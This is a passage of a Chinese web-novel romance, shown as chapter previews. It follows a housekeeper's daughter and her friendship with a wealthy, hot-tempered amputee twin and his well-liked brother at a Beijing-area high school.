《怀了残疾竹马的崽?》 1. 双胞胎 《怀了残疾竹马的崽?》全本免费阅读 于无尽春潮里热吻她 文/木厘枝 晋江文学城独家首发 北城冬至后下了第一场雪,白雪皑皑,天寒地冻,积雪挂满了私家园林的常青树。 因为是周末,姜迟夏睡了懒觉,这么冷的天当然要钻进被窝里才好啊。 可她是被一阵吵闹声吓醒的。 她从地下宽敞的保姆房醒来,揉了揉脑袋,听着楼上传来噼里啪啦的声音,她就知道李长尽又发疯了。 她从初中就转来北城这个大城市读书了,因为爸妈离婚,爸爸不要她,要了弟弟,所以妈妈张兰英就带她来北城了,她能够在北城第一中学上学,都依靠了李家的关系。 一个好保姆在市场是不流通的,张兰英因为高度的细心和温柔,得到了主母展月的青睐。 所以她在李家这种顶级豪门立足了,月薪税后在五万左右,她在李家干了十多年的保姆了。 李家是北城顶级名流,老爷李兴澜身价千亿不止,集团公司做的很强大,最主要的产业是建投和全球连锁五星级酒店,涉猎挺广的。 姜迟夏这种小人物也是在妈妈的关系下,才能真正认识豪门,至于豪门有什么恩怨,她不关心。 李兴澜有两个儿子,是双胞胎,两个人的性格简直千差万别。 哥哥李长尽因为五年前一场车祸意外,失去了一条腿,左腿从膝盖以下截肢了,从那会儿开始只能坐轮椅,或者戴假肢。 也是那场车祸,他也失去了最爱他的妈妈,在幸存下来之后,原本活泼开朗的性格,就变了,变得沉默寡言,沉闷无比,到如今越来越恶劣,脾气坏的要死。 而弟弟李长愠和他刚好相反,李长愠脾性温和,待人谦恭有礼,跟谁都是一副笑脸,从不与人红脸,他真的把豪门优雅少爷的优点体现地淋漓尽致。 姜迟夏初中转来北城,几乎从那时候就和这两位少爷在同一个学校,弟弟李长愠年年挂在年级榜首,稳坐学神交椅,没人不喜欢他。 哥哥李长尽年年成绩吊车尾,打架逃课什么都会,从不干人事,周围好像没人喜欢他,他也不在乎。 两个前后相差不到一个小时出生的豪门少爷,让所有人认识到了什么叫云泥之别。 毫无悬念,以后李家的继承人肯定是李长愠,连李兴澜对两个儿子的态度都不一样。 以后李家不是李长尽的。 李长尽已经没救了,不止家人放弃了他,连他自己也放弃了自己,破罐子破摔了。 起初姜迟夏也不太想理李长尽,脾气差的要死,一言不合就摔东西,发脾气,那样子真的很吓人。 是个人都受不了他,可没办法,她妈妈就是因为展月带两个孩子太辛苦,才被招进来的,从两个少爷五岁的时候,张兰英就在李家了。 展月因为车祸去世后,张兰英一手承担起了照顾李长尽的责任。 在张兰英这里,李长尽还是收敛着脾气的,或许这个家里,唯一关心他的只有张兰英了吧。 姜迟夏也是因为妈妈的关系,才离李长尽近了点,他有气没地方撒的时候,就折腾她们母女,大概是看她实在不顺眼,李长尽就让她承担起打扫他卧室的事宜来。 后来他还真不让张兰英进他的卧室了,非要姜迟夏来,她没办法了,只能忍着脾气去伺候这位脾气差到要死的豪门残疾少爷。 这是他不好过,也不让别人好过啊,姜迟夏懒得跟一个残疾人计较,她忍了下来,就这样,一直从初一忍到了高二。 从今年开始,她和李长尽的关系好像缓和了,她发现李长尽这人,也不是一无是处,路上遇到流浪狗或者流浪猫,他还会慷慨地喂一下。 张兰英总说,“他以前真的很可爱,我在他五岁时就带他和长愠了,每天接他和长愠上下学,他每天回家都会跟妈妈炫耀他一天的成绩,又聪明又可爱。 小学的时候,成绩也很好,每次都拿第一名,小学毕业时,也是以第一名的成绩考上市重点初中,笑起来嘴角有个浅浅的酒窝,别提多可爱。” 姜迟夏明白了,“所以他变成这样,是因为母亲遭遇车祸去世,他又被截肢变成残疾,就破罐子破摔了。” 张兰英点头,“是这样,反正你别惹他就行了,你好好读书,不要和他频繁接触,长愠很好,你可以跟长愠多接触,长愠学习好,脾气好,可能还能在学习上帮帮你。” 姜迟夏都应着,但她也没冷落李长尽,经常劝他学习,可他就是不学,甚至懒得理姜迟夏的长篇大论。 劝了几次之后,姜迟夏也不劝了,任由他自生自灭,她告诉李长尽,“连你自己都放弃自己,你还指望谁对你寄予厚望?你喜欢作死,就可劲儿作死吧。” 李长尽一双好看的眼睛带着不满,警告她,“少爷的事你少管,做好你自己就行了。” 李长尽和李长愠长得一样,都是顶尖的颜值,大高个子大长腿,标准的北方人身高。 但由于性格差别太大,导致李长尽看起来没那么好看了,他还染着一头白发,留长了,剪成日系狼尾鲻鱼发型,怎么看怎么杀马特。 左边耳朵打了耳洞,戴着黑色的小钻耳钉,整个人显得乖张,狂放不羁。 但李长愠就特别好看,黑色的头发总是剪的规规矩矩,坐在那儿恬静地就像一幅画一样,姜迟夏喜欢看着李长愠发呆,但从不会看着李长尽发呆。 李长尽那种人,看一眼都要折寿,好像全世界都欠他的,姜迟夏自然也不惯着他的脾气,可命运还真就这么离谱。 她高二分班的时候,和李长尽分到了一个班级,没和李长愠在一起,李长愠被分去了尖子班,而她和李长尽被分到了普通班,普普通通的高二八班。 新学期第一天开学,没人和李长尽当同桌,都知道他是个不学无术的混混,还是个脾气很差的残疾人,仗着家里有钱,成天不干人事。 没人喜欢和他当同桌,但每个班的座位都是满打满算的,没办法了,姜迟夏主动做了他的同桌,可能整个学校,也就她敢和李长尽坐一起。 这位祖宗不管在家还是在学校,都喜欢折腾人,这会儿不知道又发什么疯。 他昨天才在物理课上和物理老师起了冲突,差点动手打了老师,把物理老师气得不轻。 周一是要叫家长的,那去学校挨骂的,肯定又是她妈妈,他亲爹和后妈肯定是不可能去的。 姜迟夏刷了牙,洗了把脸,穿着卡通棉睡衣和毛绒拖鞋,上去看情况。 整个豪宅 2. 早恋? 《怀了残疾竹马的崽?》全本免费阅读 在李长尽的支配下,姜迟夏也没有去找李长愠,忙活了一天,导致他俩的试卷都没做完,姜迟夏看着李长尽就头疼。 而李长尽还能恶趣味地看着她笑出来,“别抱希望了,明天跟我一起罚站吧。” 姜迟夏无言了,但让她跟着李长尽丢脸罚站,那是不可能的,她大半夜还是偷偷溜起床,敲开了李长愠的房门。 李长愠还在看书,也没睡觉,听到有人敲他的门,一打开见姜迟夏鬼鬼祟祟地站在门口,他压低了声音,“你怎么来了?” 姜迟夏赶紧偷偷溜进去,“我的试卷没做完,我来找你做试卷,李长尽不让我来,我偷偷来的。” 李长愠笑的很好看,压低声音将门关上,“我刚做完,你看一遍我的试卷,有不会的就叫我。” 李长愠脾气真的很好,温文尔雅的,几乎全校女生都喜欢他,姜迟夏也不例外,不过她喜欢李长愠,也只是把他当成一个很好的朋友。 她和李长愠兄弟从初中就认识了,他们的关系可以说比兄妹还铁,姜迟夏也知道自己和豪门的差距,所以从不抱着其它的心思。 她能坦然地半夜来找李长愠,就已经说明她对这两兄弟一点心思都没有。 但李长愠确实很好,坐在那里就很养眼,和脾气坏透的李长尽不一样。 李长尽想让她跟他罚站,那绝不可能,她才不想给妈妈丢脸,虽然她学习一般,可品行还是要端正的。 姜迟夏照着李长愠的卷子抄了一遍,不出意外的话,李长愠的卷子就跟标准答案是一样的,姜迟夏故意抄错了几道题。 快速抄完卷子后,姜迟夏又鬼鬼祟祟离开了,她跟李长愠道了晚安,李长愠看着她离开的身影,终是笑了笑。 李长尽和物理老师起了冲突后,班主任让他叫家长,他也没叫,叫了也不来。 李兴澜才不会来学校丢人,他那个后妈更不会,姜迟夏便让她妈妈也别来,来了就是挨骂。 可张兰英还是来了,在她眼里,两个小少爷跟自己孩子是差不多的,展月对她很好,她从两位少爷五岁的时候就带着了,这一路走来磕磕绊绊,但他们之间的羁绊很深。 教研室里,秃头班主任老杨喊来李长尽,和张兰英站在一起,开始教育人。 “我不求你以后有什么大作用,我只求你能做个人,李长尽,你连物理老师都敢打?你怎么不上天?” 李长尽眼神冷冷地看着老杨,也不说话,老杨转头又开始骂张兰英,“他的家教问题一直是你在负责吗?他的父母呢?” 张兰英实话实说,“老爷和夫人很忙,一直都是我在照看他们兄弟,所以有什么事,老师你都可以跟我说。” 老杨头咬牙切齿,“你看看你教育出的孩子,无法无天,别的孩子残疾了,自卑抑郁,把自己封闭在内心世界不肯与人交流。你再看看他,都变成了个什么东西。” 张兰英叹口气,还是反驳了老杨,“虽然我知道老师你很生气,但你拿他残疾的事情说事,这也不妥当,他还是个孩子,不要用这样的语气说他。” 老杨都懒得理李长尽,“都是一个妈生的,李长愠怎么就那么优秀呢?” 李长尽冷笑一声,“骂够了没有?骂够了我要回教室了。” 老杨指着他怒斥,“再敢惹事你会被学校开除。” 李长尽无所谓,“开除了好,早就不想上学了。” 张兰英劝诫他,“长尽,你就听我一点话,哪怕不学习,你也待在学校行不行?脾气收敛着点,就当我求你好不好?” 李长尽抿了唇,不耐烦地说了句,“知道了。” 随后他就转身走了,班主任和张兰英都舒了口气。 回到教室,各科代表开始收周末的作业,李长尽没做完,卷子拿出来之后,也只有数学题做了一点,其它的都是空白。 姜迟夏本来不想跟着他罚站的,但看他心情不好,索性自己的也没交,其实她昨晚都抄了李长愠的,做完了。 学习委员将没交作业的写了名单,交到了教研室,开始上课后,第一节英语课,老师让没交作业的都站起来。 后排两个奇葩全部站起来了,一时间全班的目光朝着他俩望去,李长尽一头白发惹眼异常,表情吊儿郎当,嘴里还嚼着口香糖。 英语老师是个年轻的大美妞,平时脾气挺好,但看李长尽那样子,还是忍不住指了指外面,“你俩站走廊里去,让大家都看看你俩。” 姜迟夏虽然觉得丢人,但没办法,她不陪着李长尽,这家伙还不知道要发什么疯。 她和李长尽都拿了英语书,走出了教室门,英语老师将门一关,开始上课。 整个楼道里就站着他俩,姜迟夏将英语书堵在脸上,实在不想让老师们认识她。 李长尽背靠着墙,蓝色的冲锋衣校服穿在身上松松垮垮,其实单看他的外表,很养眼。 虽然瘸了一条腿,但穿戴假肢后,谁又能看出来他是个残疾人。 他看着姜迟夏一副做贼心虚的表情,心情大好。 “你怎么没去找李长愠抄作业呢?还跟我一起罚站?” 姜迟夏左看右看,没看到老师之后,这才冷着小脸看他一眼。 “如果我今天不跟你罚站,你回家不会往死里折腾我吗?” 他看了看玻璃窗外落满积雪的校园花坛。 “没错,算你识相,知道我的脾气。” “……” 这一早上就在罚站中度过了,来来去去的学生和老师都把他俩当个取乐的。 李长愠冷不丁看到姜迟夏被罚站了,不解地上前去,无视了李长尽。 他语气疑惑,“夏夏,你怎么被罚站了?” 姜迟夏就怕这种情况,所有人都朝着她看来,毕竟这对兄弟在学校可出名了。 一个以学神之名出名,一个以混球之名出名。 这下好了,两兄弟都在她旁边,她也算赚足了人们的眼球。 她尴尬地朝李长愠笑了笑,“忘了交作业了,少爷。” 李长尽冷嗤一声,“还少爷,你怎么不叫我少爷呢?” 李长愠认真地告诉她,“有些人的错误,不需要你来承担,你作业做完了,没必要跟他一起罚站,以后不要这样了。” 姜迟夏点头,“我知道了少爷,你快走吧,大家都在看你。” 李长愠长相好,学习好,家世好,谁都喜欢他。 反观李长尽,简直就是李长愠的对照组。 李长愠见大家都往他这边看,也只得离开,离开前看了一眼李长尽,表情收敛了,什么都没说。 姜迟夏见他走了才舒口气,而旁边的李长尽却问,“他怎么知道你作业写完了?” 姜迟夏实话实说,“ 3. 残腿 《怀了残疾竹马的崽?》全本免费阅读 对于姜迟夏和李家两个少爷谈恋爱这件事,在张兰英这里是禁止的。 首先他们身份悬殊,以后压根不可能在一起,其次豪门深似水,搞死一个人压根不在话下,李长愠作为以后李家的接班人,他的路早就被铺好了,以后能和李长愠站在一起的,那必然是出身豪门的名媛。 家世各方面都好,得门当户对才行。 就算是李长尽,不被李家青睐,但他始终是李家的亲儿子,和普通人之间有着很大的差距,没有一个是省油的灯,姜迟夏敢跟他们玩这种把戏? 张兰英一次一次警告,“你可以和他们做朋友,但绝不能对他们有心思,他俩没一个是你能高攀的。” 姜迟夏缓了缓心中的怒火,表情变得很委屈,“妈妈,你怎么听李长尽瞎说啊,明明是他喜欢我,老是追着我不放,结果反过来冤枉二少爷,他怎么这么坏?” 张兰英愣住,“什么?你说他喜欢你?” 姜迟夏煞有其事地点头,“我拒绝了,我又不是那种人,我现在心里只有学习。” 张兰英出了口长气,点头,“你一心只想学习是对的,那以后你别跟他接触了,我来就行,你和他保持距离。” 姜迟夏点头应着,“好,我早就不想和他接触了。” 张兰英看姜迟夏那样子,就知道她不喜欢李长尽,李长尽这种人,能喜欢他的人,也很有勇气。 但张兰英还是找李长尽谈话了,吃完晚饭后,李长尽在房间里打电动,门开着,声音很大,张兰英借着打扫房间的理由,进了他的房间。 他还反过来问,“怎么不是姜迟夏来打扫呢,张阿姨,你歇着吧,让她来。” 张兰英笑了笑,“夏夏在做作业,我决定把她转回老家了。” 李长尽打电动的动作停下,回头看她,“为什么?” 张兰英说,“她在这里,把你俩兄弟搅和地不得安宁,我看着很烦,她和你们不是一个世界的人,还是不要有牵扯比较好。” 李长尽,“……” 张兰英看他一眼,“长尽,我把你和长愠都当我的孩子看待的,我对你怎样,你是知道的,我不希望你对夏夏有什么心思。” 李长尽听完这句话后,明白过来了,“姜迟夏是不是跟你造谣我了?” 张兰英回答,“我一直担心的就是她和你俩的关系,你们现在也长大了,不像以前小的时候,要保持距离。” 李长尽明白了,“放心吧阿姨,我也不想伤你的自尊心,但在我这里,喜欢她这种事压根不存在,你让姜迟夏别造谣我了,免得我又发疯。” 张兰英,“……” 所以这件事具体是什么样的,张兰英搞了半天没搞清楚,但李长愠对姜迟夏的态度确实很好,虽然他对谁都好,但李长愠对姜迟夏好的有点过分。 有好吃的都跟她分享,张兰英思考了许久之后,决定让姜迟夏搬出去住。 她趁着闲暇时间在学校附近给她找了个好一点的房子,两室一厅,距离李家大宅不远,她可以随时去看姜迟夏。 姜迟夏在李家住了快六年,突然被妈妈带到外面去住,一时间还真不适应。 但张兰英说,“你以后少跟他们接触了,你就住在这里,我随时过来看你,好好学习。” 姜迟夏应着,“好的,我知道了,你想的有点太复杂了。” 不是张兰英想的复杂,是她真的害怕那种事发生,青春期的孩子都叛逆,她还真怕姜迟夏和李长尽有点什么,李长尽那个样子,一点都不知道为别人着想,自私自利。 以后受伤的会是姜迟夏。 于是姜迟夏周五下午搬离了李宅,李家两位少爷回家没看到她,问张兰英,姜迟夏怎么没回来? 张兰英说,“她不会回来了,搬出去住了,二位少爷不用担心她。” 两位少爷也是瞬间明白过来怎么回事了,便都再没问。 但姜迟夏晚上下楼买了点夜宵回来,便看到李长尽倚靠在她家门口抽烟。 姜迟夏蹙眉看着他,“你怎么知道我住这里的?” 他挑唇笑了笑,“我不会问啊?你干嘛搬出来?是不是心虚了,你还不承认你喜欢李长愠?” 姜迟夏无奈了,拿出钥匙打开门,“对对对,你说的都对,我就是喜欢他,但我妈不让,所以我搬出来了,满意了吧?” 他随后跟进去,将门一关,靠在门上,“说说,他有什么好。” 姜迟夏随便一列举就列举出一系列李长愠的好,“人长得帅,学习好,品行好,还借我抄作业,又是豪门以后的继承人,这简直就是世上的绝品啊,你不觉得吗?” 李长尽点头,“好像是这样,但你没戏,放弃吧。” 姜迟夏把买来的夜宵放桌上,去洗手间洗手,李长尽也不客气,打开她的夜宵,自己吃了起来。 姜迟夏一出来,便看到他一点都不把自己当外人,说吃就吃,就一份炒饭也不放过,但她也不计较。 她问李长尽,“所以你找我干什么?” 他回答,“无聊啊,你走了,我都不知道找谁的茬了,我们五六年的情谊,怎么能说散就散呢?” 姜迟夏无奈地叹气,“还不是你作死,非要说我和李长愠早恋,我倒是希望和他早恋,他那种人,温温柔柔的,一定很好。看着就舒服。” 李长尽吃饭的动作停下,将筷子一扔,“反过来怪我了?你是不是跟张阿姨说我喜欢你?张阿姨把我骂了一顿。” 姜迟夏,“……” 他侧头看她,“姜迟夏,你也不做人啊,你能不能对我好点?我残疾已经够惨的了,你还不把我当人?” 姜迟夏打住他,“幸亏你残疾,不然都不知道给你傲成什么样子,在我眼里,你和正常人没差别,甚至比正常人还坏。你先不把我当人的,我干嘛把你当人?” 李长尽,“……” 姜迟夏看着被他吃了一半的炒饭,也没心思吃了,“这么晚了,我就不留你了,你快走吧,免得我妈回来看见我和你待在一起,还以为我俩干什么了。” 他就不走,“不回去了,你不在家,多没意思,都没人陪我玩了。” 姜迟夏,“……” 见怎么都打发不走李长尽,姜迟夏也不理他了,拿出作业来写,李长尽坐在小沙发上玩手机,跟在自己家一样。 也怪姜迟夏对他太好了,以前和她不熟的时候,李长尽连靠近都不让,更别说和他独处一室了。 初中那会儿正是他自卑感达到巅峰的时期,不让任何人看,一整天都不会出卧室门,怕别人嘲笑他残疾,没一条腿。 姜迟夏试着接触了几次,都被他的暴怒吓退。 转折是在初二那年,李长尽终于复学,第一次在学校被几个不学好的学生霸凌,他们猛踹李长尽那条残疾的腿,都出血了还不放过。 姜迟夏路过看到之后,从周围找了块板砖就冲过去了,板砖狠狠地砸在了那几个男生身上,吸引了仇恨,那几个男生朝她追了来,她转身就跑。 也是那一次,回家后李长尽主动问她,有没有事。 她摇头,笑着告诉他,“我跑得快,他们没追上我,倒是你啊,伤的严重吗?” 他注视着她摇头,那时候的他,沉默寡言,不爱与人说话,经常把自己关在卧室里。 但自从那件事之后,他开始搭理姜迟夏了,除了张兰英之外,也让她进卧室了。 后来姜迟夏就经常给他写作业,毕竟代写作业这种事不光彩,她也只有等妈妈睡了之后,去给他写。 他会一直等着她,等到半夜,直到她来。 他们的关系就是这样好起来的,虽然他不排斥她了,但也不会经常找她。 就这样相安无事过了几年,她看着李长尽从沉默寡言变得痞坏乖张。 变化就挺大的。 其实那时候姜迟夏就知道,李长尽需要的是关怀,只是他没办法和自己和解,就一直赌气。 他俩的关系一直不愠不火,高一的时候,李长尽都不 4. 羞耻感 《怀了残疾竹马的崽?》全本免费阅读 姜迟夏已经习惯了他的脾气,这五年多来,她已经把李长尽了解透彻了,自然也不会和他置气,李长尽不让她看,那她就不看,多大点事。 只是这家伙不知道哪根筋不对,她搬出李家之后,他竟然也不回家了,张兰英还打电话问姜迟夏,李长尽是不是去找她了? 她说没有,好几天没看到李长尽了,学校也没去,张兰英打电话他也不接,就什么都不在乎了呗? 也不管别人死活,只顾着他自己潇洒。 连着几天没看到李长尽的影子,班上全勤的分都要扣没了,老杨气急败坏地让姜迟夏把人给他找回来。 老杨知道姜迟夏住在李家,张兰英是她妈妈。 姜迟夏也不知道去哪里找他,打电话又不接,不过这天晚自习后,她想到了一个人,贺知临。 这位贺家少爷也不学好,经常和李长尽混在一起,这两人算是找到知音了,贺家也是名门望族,出了这么一个混球,家里也是无奈。 李家家大业大,姜迟夏住过的李家豪宅也不过是其中一个豪宅,属于李兴澜的产业,李兴澜还有三个弟弟,一个妹妹。 老爷子和老太太还健在,住在李家老宅,日子过得也很清闲,只是时常听沈莉提起李长尽不学好,破罐子破摔,两位老人也很无奈。 自从李长尽残疾后,他都没怎么去过老宅看两位老人,反正这位李家大少爷,现在变得自私自利,完全不顾任何人的死活。 久而久之,大家对他的印象也差了起来,两位老人也懒得管了,管不来。 姜迟夏回到家后,还是给李长尽再次打了个电话。 一整天没接电话玩消失的人,终于出现了。 姜迟夏问他,“你干嘛去了?不去学校,也不回家,你现在可有出息了,李长尽。” 他叹气的声音有些疲惫,沉默半晌没有说话,姜迟夏感觉他不对劲,小心翼翼地问,“你没事吧?老杨让我找你,你明天去学校吗?” 他在那边嗤笑一声,“姜迟夏,你讨厌我吗?” 姜迟夏神色一怔,随即回答,“不讨厌啊,怎么突然这么问?” 他的声音带着莫名的笑意,“你看你,为了骗我去学校,昧着良心说话。” 姜迟夏蹙眉,“我说的是真的,我要是讨厌你,我早就不理你了。” 他在那边沉默着,姜迟夏还想问什么,突然听到有人在那边问,“李哥,去医院吧,很严重。” 他的声音漫不经心,“不去。” 姜迟夏被吓到,“小祖宗,你干什么了?怎么受伤了?” 李长尽笑了笑,“别担心,只是死一个废物罢了,没什么大不了。” 他说完就挂断了电话,姜迟夏吓得又给他拨过去,结果又被挂断。 她心里有点紧张,已经晚上十点了,她还是决定出门去找他。 他一定在贺知临那里,刚才那声音有点熟悉,应该就是贺知临。 姜迟夏拿好手机出门了,打了车去贺知临经常住的会所,夜宴。 夜晚的夜宴人满为患,门前停车位停了一个又一个豪车,地下车位肯定更多。 姜迟夏跟着李长尽来过这里一次,那时候李长尽还说,“这里不是女孩来的地方,让你开开眼后,以后不准一个人来。” 如果不是担心李长尽,她才不会在大晚上来这种地方,男男女女搂抱在一起。 各种穿着性感的女郎在男人之间穿梭,姜迟夏直接去前台问贺知临在哪里。 前台小姐姐看她一眼之后,问她和贺知临少爷是什么关系,姜迟夏说是同学。 前台给打了个电话,说有人找贺知临,贺知临让姜迟夏去五楼找他。 虽然很害怕,但姜迟夏还是去了,她知道李长尽在这里。 果不其然,到了五楼的502套房,门半掩着,她听到了里面贺知临担忧的声音。 “李哥,去医院吧,流太多血了,我都怕你明天死了。” 熟悉的声音轻佻又不屑,从门里传来。 “无所谓,反正死了也没人会在意,那就死了吧。” 贺知临被吓得不轻。 “我给你打120吧,你不能死在我这里。” 他这个时候了还能骂人。 “你他妈能不能让我安静点?我就想睡觉。” 姜迟夏憋着一口气,推开了502的房门。 贺知临被她悄无声息的行为吓到,都想骂人了。 结果看到姜迟夏,他好像舒了口气,“原来是你,我说大晚上谁找我,你劝劝吧,我是死活劝不动的。” 贺知临转身走了,留下姜迟夏愣愣地看着全身是血的李长尽。 他靠在套房内的单人小沙发上,态度闲散,睁眼看向姜迟夏。 “你来干什么?” 姜迟夏抿着唇角,走过去拉他的手,被他一把甩开了。 “别碰我。” 姜迟夏出口长气。 “所以不回家不去学校,是在找死。” 他语气毫无波澜,“我死了不就如了你们所有人的意,反正没人在意,你们都爱李长愠。” 姜迟夏认真地告诉他,“在我这里,你和李长愠是一样的,我没有偏谁向谁,我把你们都当朋友,所以请你不要把我包括进去。” 他不为所动,“别折腾了,回家去吧,我不想看到你们任何一个人。” 姜迟夏在他身边蹲下来,语气放软了哄他,“你看你,连我都排斥,我俩这么久的情谊,总比他们都好吧?这么晚了我还来找你,说明什么,说明你在我心里还是比较重要的,别闹了,跟我去医院。” 他还是不动,她伸手去拉他的手,还是被他甩开了,他坚毅的薄唇微微抖了抖,“你也会这样哄李长愠吗?” 她立马否认,“没有,我就哄过你,二少爷压根不需要我哄,当然了,我也不是说你什么,就是觉得我俩都挺惨的,所以对你就比较好一点。” 他冷嗤一声,“你有什么惨?那么多人在意你,李长愠也喜欢你,不像我,我死了也不会有人在意。” 姜迟夏打断他,“不,你错了,我会在意,我妈会在意,这么跟你说,我妈带你的时间比带我还长,你知道我当初为什么会来你家吗?” 他没回答,也不看她。 姜迟夏叹息一声,“因为我爸妈离婚,爷爷奶奶嫌弃我是女孩,不喜欢我,我爸也不要我,要了我弟弟,没办法了我妈才把我带在身边,住在你家,我刚来你家的时候,不爱说话,也不和人交流,直到我看到了你。” 他问的漫不经心,“看到我坐着轮椅,是个残废,所以你有优越感了?” 她摇头,“不是,是看到你的眼神,那时候,我觉得你快碎了,我想抱抱你,但你排斥我,我觉得我俩挺像的,这也是我一直不远离你的原因。” 他没说话。 姜迟夏试探地又碰了碰他的手,他好看的手指指节上,还有擦伤,姜迟夏也不知道心里什么滋味,就是很酸。 “听话,我带你去医院包扎一下,其实,我觉得比起李长愠,你更像我的朋友,我什么都跟你说不是吗?” 他的手指微微动了动,这次倒是没甩开姜迟夏。 她再接再厉,“我从来都不会跟二少爷说这些话,这些话我只会跟你说,你自己掂量掂量,我对你如何?” 他的薄唇动了动,冷着声把手递给她,“扶我起来。” 姜迟夏赶紧站起来,把他从沙发上扶起来,发现他身上冰凉,衣服都是湿的。 她扶着他往套房外走,他左腿不敢着地,姜迟夏始终没敢问他去做什么了,把自己搞成这样。 贺知 5. 咬死你 《怀了残疾竹马的崽?》全本免费阅读 姜迟夏从来都没有把李长尽当成个残疾人对待,在她眼里,李长尽和李长愠是一样的,从来都不需要被区别对待。 小祖宗在她那里住了一晚,她第二天一早打电话给张兰英,让妈妈把李长尽的校服收拾一下,让司机送到她这里来,她去学校的时候给带上。 她可不敢跟妈妈说李长尽住在她这里。 李长尽醒来的时候,姜迟夏已经下楼把他的校服从司机那里拿来了。 李长尽一副没睡醒的样子,不想起床,语气十分不满,“不想去上学,你自己去吧,我受伤了,我要睡觉。” 姜迟夏把他的校服给他放在床边,“你得去,不然老杨要气的跳楼了,班上的分都要扣没了,快点起。” 李长尽很不耐烦,“这学校怎么还不把我给开除了?” 姜迟夏,“……” 北城第一中学是综合性很强的重点中学,包括初中部和高中部,进了这个学校基本上都已经和名校挂钩了。 多少学生的梦想之地,拼了命想挤进来,李长尽倒好,进来了还不珍惜。 反正姜迟夏是珍惜的,要不是李家的关系,她还真进不来这么好的学校。 她和李长尽不一样,她只是个小人物,老家在大西北的一个农村,重男轻女的现象很严重。 她只有好好学习才能有出路,才能摆脱那样的家庭,以后才不会一直被禁锢在那样的小地方。 张兰英文化程度不高,高中毕业后就嫁人生孩子,之后家里太困难就上京打工了,没想到还能进豪门当保姆。 这也是姜迟夏和豪门结缘的初始原因。 姜迟夏洗漱完之后就一直在喋喋不休地烦李长尽,终于给大少爷气的睡不下去了。 起来穿戴好假肢,一言不发地去了洗手间上厕所,洗漱,换衣服。 李长尽发现自己对姜迟夏太纵容了,别人从来都不敢这样对他,只有姜迟夏,不把他的脾气当回事。 换成别人这样烦他,他都不知道要气成什么样子。 姜迟夏终于把李长尽带到学校去了,但李长尽去不去学校好像都一样,但为了班级荣誉,哪怕他在课堂上睡觉,也比在外面瞎溜达的好,谁知道这小祖宗转眼就惹出什么事情来。 刚和李长尽到学校,李长愠就来八班门口,他给姜迟夏带了早餐,叫她出去拿。 姜迟夏便出去了,李长愠看到李长尽了,他眼神里的情绪有些难言,但还是什么都没说,将早餐递给姜迟夏,“张阿姨让我给你带的,他今天来学校了?” 姜迟夏接过早餐,笑着看他,“对,太不容易了,让李长尽来上学,比上战场还难。” 全班的同学都看着他俩,李长愠伸手揉了揉姜迟夏的头发,“麻烦你了,你可以不用管他。” 姜迟夏被他一个动作吓得僵住,神色有些复杂,“没事的,快上课了,我先进去了。” 李长愠嗯一声,也转身离开了,但他俩的行为被所有人都看到了。 大家开始窃窃私语,但姜迟夏没当回事,她带着李长愠给的早餐回到座位上,李长尽不知道发什么疯,一把将桌上的书扫到了地上。 姜迟夏,“……” 他笑的有点诡异,“这么想跟他相处啊?姜迟夏。” 姜迟夏懒得理他,打开早餐吃起来,马上上课了。 李长尽见她不理人,又一把将她的早餐夺了,直接扔后面垃圾桶了。 营养早餐在空中划出一道美丽的弧线,完美落桶。 他挑衅地看着姜迟夏,“还吃吗?” 姜迟夏将嘴里的一口早餐吃下去,拿出英语书来,翻开了单词表。 她不是第一次遭受李长尽的脾气,已经习惯了,这人就这样,一言不合就生气。 李长尽低眼看了她半天,起身要走,姜迟夏一把抓住他的胳膊,神色冷冷,“你今天敢走,我真跟你绝交。” 李长尽憋着一口气,“喜欢李长愠,就别理我啊,我看起来有那么可怜?” 他的眼神带了戾气,姜迟夏抓着他胳膊的手用了劲,“我压根不可怜你,你有什么需要可怜的?这世上需要可怜的人有很多,但不是你李长尽,你他妈坐回来。” 她狠狠地将他拽回去,“你可以在这里睡觉,就是别出校门。” 李长尽被她抓的死紧,全班同学都看着他俩,李长尽不耐烦地骂了声,“看什么?没见过你们爹?” 全班同学沉默了,“……” 大家又纷纷将注意力转移到书本上,其实这几天李长尽不在班上还好,班级氛围很好。 只要他一来上课,不知道为什么,班上总会充斥着一种难言的压迫感,这让所有人不爽快。 真是佩服姜迟夏,还能跟这种人做同桌,明明和李长愠长着一张脸,但李长尽就是让人很不爽。 还是李长愠好,大家都喜欢李长愠。 在姜迟夏的坚持下,李长尽也就没离开,老杨在自习课上看了一眼,发现李长尽来上课了,他也没多问,只要这家伙在课堂上就行。 姜迟夏的早餐被扔了,她警告李长尽,“浪费粮食是可耻的,下次再这样,我咬死你。” 下了早自习之后,她又去买了早餐,这次给李长尽也带了。 买了两个土豆丝夹饼,两杯豆浆,她将早餐递给李长尽,一言不发开始吃早餐。 李长尽看她一眼,拿过她买的早餐,语气慵懒,“姜迟夏,你怎么不生气?” 姜迟夏一边啃饼子,一边回答他,“我生气有用吗?我生气你就不会发疯了吗?” 他回答,“不会,该发疯还发疯。” 姜迟夏点头,“那不就行了,我又不是不了解你,别跟我搞这一套,对我没用。” 李长尽,“……” 姜迟夏的语气都很冷静,“你这一套吓唬别人可以,但对我无效,我现在已经很淡定了。” 李长尽挫败,“还得是你。” 这一早上就相安无事下来了,姜迟夏发现李长尽没事干,竟然开始做之前没交的卷子了,她凑上去看了一眼,“你会做吗?” 李长尽冷笑一声,“这有多难?看一眼就会了好吧?” 姜迟夏,“……” 李长尽把最难的一道数学题翻出来,当场给她演算,“你看好了,少爷只给演示一遍,这道题应该讲过了吧?” 姜迟夏抬眼看他好看的眉眼,“你别吹牛。” 李长尽低眼看她一眼,摇头,“姜迟夏啊姜迟夏,你还是不了解我。” 他拿起笔就开始写,吊儿郎当,一言不发。 姜迟夏凑到他的草稿纸前,又拿出自己抄了答案的卷子出来,和他的步骤做对比,结果发现他写的步骤更简单? 姜迟夏惊了,“我草,你还真会啊?” 他没写完,把笔一扔,“我小学可就参加奥林匹克竞赛了,做的高中题。” 姜迟夏,“……” 好好好,原来到头来只有她一个学渣。 姜迟夏受到了打击。 6. 看里番吗? 《怀了残疾竹马的崽?》全本免费阅读 姜迟夏发现最近李长尽说的一些话,时常会直击她的心灵,她不知道这是怎么了,他以前从不这样的,哪怕有什么话,他都是藏在心里,不会频繁跟她吐露。 可自从今年高二以来,他说的一些话,总能让她莫名触动,她竟然能从他的话语中,捕捉到他的情绪。 这种感觉让她心里不太舒服,就像吃了很难吃的苦果,那种苦涩,会从全身每一个细胞渗入血液,到达心底。 